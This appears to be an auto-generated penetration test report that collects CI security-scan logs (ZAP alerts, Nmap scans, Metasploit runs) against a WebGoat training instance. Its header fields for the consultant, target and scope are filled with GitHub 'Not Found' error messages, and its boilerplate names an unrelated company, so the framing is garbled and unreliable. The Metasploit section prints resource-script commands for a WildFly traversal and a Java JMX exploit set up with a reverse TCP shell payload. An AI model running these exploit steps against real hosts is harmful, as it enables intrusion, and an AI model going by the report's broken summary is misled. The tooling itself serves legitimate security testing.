



Pentest Report

Penetration test of {"message":"Not Found","documentation_url":"https://docs.github.com/rest/repos/contents#get-repository-content"}

Consultant: {"message":"Not Found","documentation_url":"https://docs.github.com/rest/repos/contents#get-repository-content"}

02/10/2023

Executive Summary

Overview

`{"message":"Not Found","documentationurl":"https://docs.github.com/rest/repos/contents#get-repository-content"}` performed a Web Application Penetration Test on `{"message":"Not Found","documentationurl":"https://docs.github.com/rest/repos/contents#get-repository-content"}` applications. The scope of the testing was the following.

`{"message":"Not Found","documentation_url":"https://docs.github.com/rest/repos/contents#get-repository-content"}`

`{"message":"Not Found","documentationurl":"https://docs.github.com/rest/repos/contents#get-repository-content"}` found that with a few minor exceptions the quality and coverage of security controls in the `{"message":"Not Found","documentationurl":"https://docs.github.com/rest/repos/contents#get-repository-content"}` applications were very solid.

Resume

`{"message":"Not Found","documentation_url":"https://docs.github.com/rest/repos/contents#get-repository-content"}`

Finding Classification

Each finding is classified as a High, Medium, or Low risk based on `{"message":"Not Found","documentationurl":"https://docs.github.com/rest/repos/contents#get-repository-content"}` considerations of potential threats, the likelihood of attack, and the possible impact of a successful attack against Instructure's `{"message":"Not Found","documentationurl":"https://docs.github.com/rest/repos/contents#get-repository-content"}` applications. Each of these factors is assessed individually and in combination to determine the overall risk designation. These assessments are based on `{"message":"Not Found","documentationurl":"https://docs.github.com/rest/repos/contents#get-repository-content"}` professional judgment and experience providing consulting services to enterprises across the country. This report outlines the findings `{"message":"Not Found","documentationurl":"https://docs.github.com/rest/repos/contents#get-repository-content"}` collected from the testing, as well as `{"message":"Not Found","documentation_url":"https://docs.github.com/rest/repos/contents#get-repository-content"}` recommendations that will assist Instructure in reducing its risks and helping remove the vulnerabilities found.

Vulnerabilities and Recommendations

Pytest-Playwright Test Output Issue

GitHub Issue number # 430 GitHub Issue URL : <https://github.com/pradyumna-muppirala/ASTICI/issues/430> **Playwright**
pytest

Starting pytest....

```
===== test session starts  
=====
```

platform linux -- Python 3.10.12, pytest-7.4.2, pluggy-1.3.0

rootdir: /home/runner/work/ASTICI/ASTICI

plugins: asyncio-0.21.1, anyio-4.0.0, tornasync-0.6.0.post2, base-url-2.0.0,
playwright-0.4.2, trio-0.8.0

asyncio: mode=strict

collected 5 items

src/test_AsyncWebGoatUseCases.py ... [60%]

src/test_WebGoatUseCases.py .. [100%]

```
===== 5 passed in 27.07s  
=====
```

Stop pytest....

ZAP Full Scan Report

GitHub Issue number # 429 GitHub Issue URL : <https://github.com/pradyumna-muppirala/ASTICI/issues/429>

- Site: <http://20.235.84.84:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://20.235.84.84:8080/WebGoat/login>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://20.235.84.84:8080/WebGoat/login>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://20.235.84.84:8080/WebGoat/login>
 - **Cookie No HttpOnly Flag** [10010] total: 1:
 - <http://20.235.84.84:8080/WebGoat/start.mvc>
 - **Cookie Slack Detector** [90027] total: 2:
 - <http://20.235.84.84:8080/WebGoat/login>
 - <http://20.235.84.84:8080/WebGoat/start.mvc>
 - **Cookie without SameSite Attribute** [10054] total: 1:
 - <http://20.235.84.84:8080/WebGoat/start.mvc>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://20.235.84.84:8080/WebGoat/login>
 - **Base64 Disclosure** [10094] total: 1:
 - <http://20.235.84.84:8080/WebGoat/start.mvc>
 - **Non-Storable Content** [10049] total: 1:
 - <http://20.235.84.84:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
 - <http://20.235.84.84:8080/robots.txt>
 - <http://20.235.84.84:8080/WebGoat/login>
 - <http://20.235.84.84:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
 - <http://20.235.84.84:8080/robots.txt>
 - <http://20.235.84.84:8080/WebGoat/login>
 - <http://20.235.84.84:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
 - <http://20.235.84.84:8080/robots.txt>
 - <http://20.235.84.84:8080/WebGoat/login>
 - <http://20.235.84.84:8080/WebGoat/start.mvc>
 - **Sec-Fetch-User Header is Missing** [90005] total: 3:
 - <http://20.235.84.84:8080/robots.txt>
 - <http://20.235.84.84:8080/WebGoat/login>
 - <http://20.235.84.84:8080/WebGoat/start.mvc>
 - **Session Management Response Identified** [10112] total: 2:
 - <http://20.235.84.84:8080/WebGoat/start.mvc>
 - <http://20.235.84.84:8080/WebGoat/start.mvc>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://20.235.84.84:8080/>
 - <http://20.235.84.84:8080/robots.txt>
 - <http://20.235.84.84:8080/sitemap.xml>
 - <http://20.235.84.84:8080/WebGoat/login>
 - **User Agent Fuzzer** [10104] total: 24:
 - <http://20.235.84.84:8080/WebGoat>
 - <http://20.235.84.84:8080/WebGoat>
 - <http://20.235.84.84:8080/WebGoat>
 - <http://20.235.84.84:8080/WebGoat>
 - <http://20.235.84.84:8080/WebGoat>
 - ..

View the [following link](#) to download the report. RunnerID:6374947028

Metasploit-ParrotOS Test output

GitHub Issue number # 428 GitHub Issue URL : <https://github.com/pradyumna-muppirala/ASTICI/issues/428> **parrotOS**
metasploit

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 <https://deb.parrot.sh/parrot> parrot InRelease [14.6 kB]

Get:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease [14.4 kB]

Get:3 <https://deb.parrot.sh/parrot> parrot-backports InRelease [14.6 kB]

Get:4 <https://deb.parrot.sh/parrot> parrot/main amd64 Packages [17.7 MB]

Get:5 <https://deb.parrot.sh/parrot> parrot/contrib amd64 Packages [115 kB]

Get:6 <https://deb.parrot.sh/parrot> parrot/non-free amd64 Packages [215 kB]

Get:7 <https://deb.parrot.sh/direct/parrot> parrot-security/main amd64 Packages [526 kB]

Get:8 <https://deb.parrot.sh/direct/parrot> parrot-security/non-free amd64 Packages [884 B]

Get:9 <https://deb.parrot.sh/parrot> parrot-backports/main amd64 Packages [1147 kB]

Get:10 <https://deb.parrot.sh/parrot> parrot-backports/contrib amd64 Packages [22.6 kB]

Get:11 <https://deb.parrot.sh/parrot> parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 19.9 MB in 2s (10.7 MB/s)

Reading package lists...

Building dependency tree...

Reading state information...

23 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs dnsutils file libaom0 libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0

libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3

openssh-client openssh-server openssh-sftp-server openssl

python3-typing-extensions

23 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 9186 kB of archives.

After this operation, 63.5 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs dnsutils file libaom0 libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0

libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3

openssh-client openssh-server openssh-sftp-server openssl

python3-typing-extensions

23 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 9186 kB of archives.

After this operation, 63.5 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease

Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease

Hit:3 <https://deb.parrot.sh/parrot> parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

23 packages can be upgraded. Run 'apt list --upgradable' to see them.

Cleaning up any existing old code copies of security tests...

This is not a secure way to check out code;

Getting the latest code copy for all security tests...

=====
Metasploit Framework Exploit Demo :
=====

Target Web Goat Instance IP Address : 20.235.84.84

Possible Metasploit exploits or auxiliaries or payloads, that can used for attacking

=====

Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>

[*] Processing ./src/exploitwildflydir_traversal.rc for ERB directives.

resource (./src/exploitwildflydirtraversal.rc)> use auxiliary/scanner/http/wildflytraversal

resource (./src/exploitwildflydir_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly_traversal):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

Proxies	no	A proxy chain of format type:host:port[,type:host:port][...]		
---------	----	--	--	--

RELATIVEFILEPATH	standalone			
------------------	------------	--	--	--

RHOSTS	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html		
--------	-----	---	--	--

RPORT	8080	yes	The target port (TCP)	
-------	------	-----	-----------------------	--

SSL	false	no	Negotiate SSL/TLS for outgoing connections	
-----	-------	----	--	--

THREADS	1	yes	The number of concurrent threads (max one per host)	
---------	---	-----	---	--

TRAVERSAL_DEPTH	1	yes	Traversal depth	
-----------------	---	-----	-----------------	--

VHOST	no	HTTP server virtual host		
-------	----	--------------------------	--	--

View the full module info with the info, or info -d command.

[*] resource (./src/exploitwildflydir_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploitwildflydir_traversal.rc)> run

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS

resource (./src/exploitwildflydir_traversal.rc)> exit

Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

[*] Processing ./src/exploit/javajmxreversehttps.rc for ERB directives.

resource (./src/exploit/javajmxreversehttps.rc)> use exploit/multi/misc/javajmxserver

[*] No payload configured, defaulting to java/meterpreter/reverse_tcp

resource (./src/exploit/javajmxreversehttps.rc)> show options

Module options (exploit/multi/misc/javajmxserver):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

JMXRMI	jmxrmi	yes	The name where the JMX RMI interface is bound
JMX_PASSWORD	no	The password to interact with an authenticated JMX endpoint	
JMX_ROLE	no	The role to interact with an authenticated JMX endpoint	
RHOSTS	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html	
RPORT	yes	The target port (TCP)	
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSLCert	no	Path to a custom SSL certificate (default is randomly generated)	
URIPATH	no	The URI to use for this exploit (default is random)	

Payload options (java/meterpreter/reverse_tcp):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

LHOST	172.17.0.2	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id Name

0 Generic (Java Payload)

View the full module info with the info, or info -d command.

[*] resource (./src/exploit/javajmxreversehttps.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploit/javajmxreversehttps.rc)> use payload/generic/shellreversetcp

resource (./src/exploit/javajmxreversehttps.rc)> exploit

[*] Payload Handler Started as Job

resource (./src/exploit/javajmxreversehttps.rc)> exit

=====

Nmap-ParrotOS Scan output

GitHub Issue number # 427 GitHub Issue URL : <https://github.com/pradyumna-muppirala/ASTICI/issues/427> **parrotOS**

nmap

Nmap vulnerability scanning
for 20.235.84.84

Making sure that parrot OS docker image has all the latest updates...

Get:1 <https://deb.parrot.sh/parrot> parrot InRelease [14.6 kB]

Get:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease [14.4 kB]

Get:3 <https://deb.parrot.sh/parrot> parrot-backports InRelease [14.6 kB]

Get:4 <https://deb.parrot.sh/parrot> parrot/main amd64 Packages [17.7 MB]

Get:5 <https://deb.parrot.sh/parrot> parrot/contrib amd64 Packages [115 kB]

Get:6 <https://deb.parrot.sh/parrot> parrot/non-free amd64 Packages [215 kB]

Get:7 <https://deb.parrot.sh/direct/parrot> parrot-security/main amd64 Packages [526 kB]

Get:8 <https://deb.parrot.sh/direct/parrot> parrot-security/non-free amd64 Packages [884 B]

Get:9 <https://deb.parrot.sh/parrot> parrot-backports/main amd64 Packages [1147 kB]

Get:10 <https://deb.parrot.sh/parrot> parrot-backports/contrib amd64 Packages [22.6 kB]

Get:11 <https://deb.parrot.sh/parrot> parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 19.9 MB in 3s (7625 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

23 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs dnsutils file libaom0 libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0

libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3

openssh-client openssh-server openssh-sftp-server openssl

python3-typing-extensions

23 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 9186 kB of archives.

After this operation, 63.5 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs dnsutils file libaom0 libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0

libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3

openssh-client openssh-server openssh-sftp-server openssl

python3-typing-extensions

23 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 9186 kB of archives.

After this operation, 63.5 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease

Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease

Hit:3 <https://deb.parrot.sh/parrot> parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

23 packages can be upgraded. Run 'apt list --upgradable' to see them.

Running basic nmap scan...

Starting Nmap 7.92 (<https://nmap.org>) at 2023-10-02 01:53 UTC

Nmap scan report for 20.235.84.84

Host is up (0.23s latency).

Not shown: 65530 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 2f:c5:ff:0b:06:71:bb:46:1c:e2:a0:c8:a8:4d:a8:5d (ECDSA)
|_ 256 62:87:8c:b0:77:57:36:2a:cc:0e:5d:bf:84:ba:e3:fa (ED25519)
80/tcp closed http
443/tcp closed https
8080/tcp open http-proxy
|_ http-title: Site doesn't have a title.
| fingerprint-strings:
| FourOhFourRequest, HTTPOptions:
| HTTP/1.1 404 Not Found
| Connection: close
| Content-Length: 0
| Date: Mon, 02 Oct 2023 01:57:16 GMT
| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:
| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Connection: close
| Content-Length: 0
|_ Date: Mon, 02 Oct 2023 01:57:15 GMT
9090/tcp open zeus-admin?
| fingerprint-strings:
| GenericLines, RTSPRequest, SqueezeCenter_CLI, WMSRequest, ibm-db2-das:
| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found

| Expires: 0
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate
| X-XSS-Protection: 1; mode=block
| Pragma: no-cache
| X-Frame-Options: DENY
| Date: Mon, 02 Oct 2023 01:57:15 GMT
| Connection: close
| Vary: Origin
| Vary: Access-Control-Request-Method
| Vary: Access-Control-Request-Headers
| X-Content-Type-Options: nosniff
| Content-Type: application/json
| "timestamp" : "2023-10-02T01:57:15.586+00:00",
| "status" : 404,
| "error" : "Not Found",
| "path" : "/"
| HTTPOptions:
| HTTP/1.1 404 Not Found
| Expires: 0
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate
| X-XSS-Protection: 1; mode=block
| Pragma: no-cache
| X-Frame-Options: DENY
| Date: Mon, 02 Oct 2023 01:57:33 GMT
| Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH
| Connection: close
| Vary: Origin
| Vary: Access-Control-Request-Method
| Vary: Access-Control-Request-Headers
| X-Content-Type-Options: nosniff
| Content-Type: application/json
| "timestamp" : "2023-10-02T01:57:33.645+00:00",

```
| "status" : 404,  
| "error" : "Not Found",  
|_ "path" : "/"
```

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at <https://nmap.org/cgi-bin/submit.cgi?new-service> :

=====NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)=====

SF-Port8080-TCP:V=7.92%I=7%D=10/2%Time=651A237B%P=x86_64-pc-linux-gnu%(Ge

SF:tRequest,65,"HTTP/1.1 404 Not Found Connection: close

SF: Content-Length: 0 Date: Mon, 02 Oct 2023 01:57:1

SF:5 GMT

")%(HTTPOptions,65,"HTTP/1.1 404 Not Found

SF: Connection: close Content-Length: 0 Date: Mon, 02\x

SF:20Oct 2023 01:57:16 GMT

")%(RTSPRequest,42,"HTTP/1.1\n

SF:x20400 Bad Request Content-Length: 0 Connection: clos

SF:e

")%(FourOhFourRequest,65,"HTTP/1.1 404 Not Found \n

SF:nConnection: close Content-Length: 0 Date: Mon, 02

SF:00Oct 2023 01:57:16 GMT

")%(Socks5,42,"HTTP/1.1 400

SF: Bad Request Content-Length: 0 Connection: close \n

SF:r ")%(GenericLines,42,"HTTP/1.1 400 Bad Request Content-

SF:Length: 0 Connection: close

")%(Help,42,"HTTP/1.1

SF:400 Bad Request Content-Length: 0 Connection: close

SF:

")%(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Cont

SF:ent-Length: 0 Connection: close

")%(TerminalServerCook

SF:ie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Co

SF:nnection: close

```

")%r(TLSSessionReq,42,"HTTP/1.1 400 Ba
SF:d Request Content-Length: 0 Connection: close
")%
SF:r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:
SF:00 Connection: close
")%r(SMBProgNeg,42,"HTTP/1.1 400\n
SF:x20Bad Request Content-Length: 0 Connection: close
SF: ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Leng
SF:th: 0 Connection: close
")%r(LDAPSearchReq,42,"HTTP/1.
SF:1 400 Bad Request Content-Length: 0 Connection: cl
SF:ose
")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request Co
SF:ntent-Length: 0 Connection: close
")%r(WMSRequest,42,"H
SF:TTP/1.1 400 Bad Request Content-Length: 0 Connection
SF:: close
")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reques
SF:t Content-Length: 0 Connection: close
");
=====NEXT SERVICE FINGERPRINT (SUBMIT
INDIVIDUALLY)=====
SF-Port9090-TCP:V=7.92%I=7%D=10/2%Time=651A237B%P=x86_64-pc-linux-
gnu%r(Ge
SF:tRequest,1EF,"HTTP/1.1 404 Not Found Expires: 0 Cach
SF:e-Control: no-cache, no-store, max-age=0, must-revalidate
SF: X-XSS-Protection: 1; mode=block Pragma: no-cache X-Fra
SF:me-Options: DENY Date: Mon, 02 Oct 2023 01:57:15\x
SF:20GMT Connection: close Vary: Origin Vary: Access-Con
SF:trol-Request-Method Vary: Access-Control-Request-Headers X-Con
SF:tent-Type-Options: nosniff Content-Type: application/json \n
SF:r { \"timestamp\" : \"2023-10-02T01:57:15.586+00:00\"
SF:, \"status\" : 404, \"error\" : \"Not

```


SF:Found\", \"path\" : \"^\" }")%r(WMSRequest,42,"HTTP/1.
SF:1 400 Bad Request Content-Length: 0 Connection: cl
SF:ose
")%r(ibm-db2-das,42,"HTTP/1.1 400 Bad Request C
SF:ontent-Length: 0 Connection: close
")%r(SqueezeCenter_C
SF:LI,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Co
SF:nnection: close
")%r(GenericLines,42,"HTTP/1.1 400 Bad
SF: Request Content-Length: 0 Connection: close
")%r
SF:(HTTPOptions,22B,"HTTP/1.1 404 Not Found Expires: 0
SF:Cache-Control: no-cache, no-store, max-age=0, must-revalida
SF:te X-XSS-Protection: 1; mode=block Pragma: no-cache X
SF:-Frame-Options: DENY Date: Mon, 02 Oct 2023 01:57:
SF:33 GMT Allow: GET, HEAD, POST, PUT, DELETE, TRA
SF:CE, OPTIONS, PATCH Connection: close Vary: Origin
SF:Vary: Access-Control-Request-Method Vary: Access-Control-Reque
SF:st-Headers X-Content-Type-Options: nosniff Content-Type: ap
SF:plication/json
{ \"timestamp\" : \"2023-10-02T01:
SF:57:33.645+00:00\", \"status\" : 404, \"error\\n
SF:\" : \"Not Found\", \"path\" : \"^\" }")%r(RTSP
SF:Request,42,"HTTP/1.1 400 Bad Request Content-Length: 0\\n
SF:r Connection: close
");

Device type: general purpose|storage-misc|firewall

Running (JUST GUESSING): Linux 4.X|2.6.X|3.X (86%), Synology DiskStation Manager 5.X (86%), WatchGuard Fireware 11.X (86%), FreeBSD 6.X (85%)

OS CPE: cpe:/o:linux:linuxkernel:4.0 cpe:/o:linux:linuxkernel:2.6.32 cpe:/o:linux:linuxkernel:3.5 cpe:/o:linux:linuxkernel cpe:/a:synology:diskstation_manager:5.1 cpe:/o:watchguard:fireware:11.8 cpe:/o:freebsd:freebsd:6.2

Aggressive OS guesses: Linux 4.0 (86%), Linux 2.6.32 (86%), Linux 3.5 (86%), Linux 4.2 (86%), Linux 4.4 (86%), Synology DiskStation Manager 5.1 (86%), WatchGuard Firewall 11.8 (86%), Linux 2.6.39 (85%), Linux 3.10 - 3.16 (85%), Linux 2.6.35 (85%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)

HOP RTT ADDRESS

1 0.02 ms 172.17.0.1

2 5390.35 ms 20.235.84.84

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>.

Nmap done: 1 IP address (1 host up) scanned in 347.79 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 (<https://nmap.org>) at 2023-10-02 01:59 UTC

Nmap scan report for 20.235.84.84

Host is up (0.22s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.84 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 (<https://nmap.org>) at 2023-10-02 01:59 UTC

Nmap scan report for 20.235.84.84

Host is up (0.23s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.27 seconds

ZAP Full Scan Report

GitHub Issue number # 426 GitHub Issue URL : <https://github.com/pradyumna-muppirala/ASTICI/issues/426>

- Site: <http://20.235.84.84:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://20.235.84.84:8080/WebGoat/login>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://20.235.84.84:8080/WebGoat/login>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://20.235.84.84:8080/WebGoat/login>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://20.235.84.84:8080/WebGoat/login>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
 - <http://20.235.84.84:8080/>
 - <http://20.235.84.84:8080/sitemap.xml>
 - <http://20.235.84.84:8080/WebGoat/login>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
 - <http://20.235.84.84:8080/>
 - <http://20.235.84.84:8080/sitemap.xml>
 - <http://20.235.84.84:8080/WebGoat/login>
 - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
 - <http://20.235.84.84:8080/>
 - <http://20.235.84.84:8080/sitemap.xml>
 - <http://20.235.84.84:8080/WebGoat/login>
 - **Sec-Fetch-User Header is Missing** [90005] total: 3:
 - <http://20.235.84.84:8080/>
 - <http://20.235.84.84:8080/sitemap.xml>
 - <http://20.235.84.84:8080/WebGoat/login>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://20.235.84.84:8080/>
 - <http://20.235.84.84:8080/robots.txt>
 - <http://20.235.84.84:8080/sitemap.xml>
 - <http://20.235.84.84:8080/WebGoat/login>
 - **User Agent Fuzzer** [10104] total: 12:
 - <http://20.235.84.84:8080/WebGoat>
 - <http://20.235.84.84:8080/WebGoat>
 - <http://20.235.84.84:8080/WebGoat>
 - <http://20.235.84.84:8080/WebGoat>
 - <http://20.235.84.84:8080/WebGoat>
 - ..

View the [following link](#) to download the report. RunnerID:6374947028

ZAP Full Scan Report

GitHub Issue number # 425 GitHub Issue URL : <https://github.com/pradyumna-muppirala/ASTICI/issues/425>

- Site: <http://20.235.84.84:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://20.235.84.84:8080/WebGoat/registration>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://20.235.84.84:8080/WebGoat/registration>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://20.235.84.84:8080/WebGoat/registration>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://20.235.84.84:8080/WebGoat/registration>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
 - <http://20.235.84.84:8080/>
 - <http://20.235.84.84:8080/robots.txt>
 - <http://20.235.84.84:8080/WebGoat/registration>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
 - <http://20.235.84.84:8080/>
 - <http://20.235.84.84:8080/robots.txt>
 - <http://20.235.84.84:8080/WebGoat/registration>
 - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
 - <http://20.235.84.84:8080/>
 - <http://20.235.84.84:8080/robots.txt>
 - <http://20.235.84.84:8080/WebGoat/registration>
 - **Sec-Fetch-User Header is Missing** [90005] total: 3:
 - <http://20.235.84.84:8080/>
 - <http://20.235.84.84:8080/robots.txt>
 - <http://20.235.84.84:8080/WebGoat/registration>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://20.235.84.84:8080/>
 - <http://20.235.84.84:8080/robots.txt>
 - <http://20.235.84.84:8080/sitemap.xml>
 - <http://20.235.84.84:8080/WebGoat/registration>
 - **User Agent Fuzzer** [10104] total: 12:
 - <http://20.235.84.84:8080/WebGoat>
 - <http://20.235.84.84:8080/WebGoat>
 - <http://20.235.84.84:8080/WebGoat>
 - <http://20.235.84.84:8080/WebGoat>
 - <http://20.235.84.84:8080/WebGoat>
 - ..

View the [following link](#) to download the report. RunnerID:6374947028

Sonar Cloud Code Scan Report

GitHub Issue number # 424 GitHub Issue URL : <https://github.com/pradyumna-muppirala/ASTICI/issues/424> **SonarQube Cloud code scan**

SonarCloud Scan for OWASP WebGoat

Go to https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST for full report of SonarCloud with Github SSO.

Snyk Report

GitHub Issue number # 423 GitHub Issue URL : <https://github.com/pradyumna-muppirala/ASTICI/issues/423> **Snyk_scan**

Snyk Scan for OWASP WebGoat

Go to <https://app.snyk.io/org/pradyumna-muppirala> for full report of Snyk with Github SSO.

Confidencial

Conclusion: This is the end of the report. The above logs show the execution traces for various security scanning tools.